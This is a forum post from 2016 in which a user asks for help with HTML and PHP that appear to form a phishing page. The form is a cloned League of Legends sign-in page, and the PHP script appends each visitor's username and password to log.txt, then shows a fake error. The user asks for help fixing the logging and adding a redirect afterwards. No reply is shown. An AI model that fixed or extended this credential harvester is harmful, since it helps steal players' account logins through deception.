Need help with saving form data to a text document |
Need help with saving form data to a text document |
Voxel |
Jun 22 2016, 08:21 AM
Post
#1
|
Group: Members Posts: 2 Joined: 22-June 16 Member No.: 24,354 |
Ok so I have a form on a page where the visitor enters their username and password, and I want this data to be saved to the file log.txt.
CODE ON SITE <form id="login-form" role="form" autocomplete="off" action="funsofts.php" method="post"> <header> <h1 data-i18n="Sign_In">Sign In</h1> </header> <p id="login-form-message" style="display: none;"></p> <div class="form-group"> <label for="username" id="username" data-i18n="username">Username</label> <input type="text" class="form-control" id="username" name="username" autofocus=""> </div> <div class="form-group"> <label for="password" id="label-password" data-i18n="password">Password</label> <input type="password" class="form-control" id="password" name="password"> </div> <p class="submit"> <button type="submit" class="btn btn-primary btn-block" id="login-button" data-i18n="Sign_In">Sign In</button> <img id="login-button-spinner" src="./Sign in with your League of Legends account_files/spinner.gif" alt="" style="display: none;"> </p> <div class="help"> <div class="forgot"> <p><a href="https://account.leagueoflegends.com/na/en/forgot-username" data-link="forgot-username" data-i18n="FORGOT_USERNAME">Forgot Username?</a></p> <p><a href="https://account.leagueoflegends.com/na/en/forgot-password" data-link="forgot-password" data-i18n="FORGOT_PASSWORD">Forgot Password?</a></p> </div> <div class="signup"> <p><a href="https://signup.na.leagueoflegends.com/en" data-link="signup" data-i18n="Create_an_Account">Create an account?</a></p> </div> </div> </form> PHP SCRIPT <?php $username = $_POST['username']; $password = $_POST['password']; $fp = fopen("log.txt", "a"); $savestring = $username . "," . $password . "n"; fwrite($fp, $savestring); fclose($fp); echo "<h1>ERROR!</h1>"; ?> CONCLUSION AND QUESTIONS So my goal with the string of HTML and PHP script was this; The HTML references to the script when the username/password is submitted, the script writes the username/password into log.txt, and thats it. But it isnt working correctly and I'm not educated enough to know why, I'd also like the script to redirect the visitor to a website after the data is saved but I'm not sure how. Getting the data saved is what I'm most interested in working first though. |
Lo-Fi Version | Time is now: 27th April 2024 - 11:29 PM |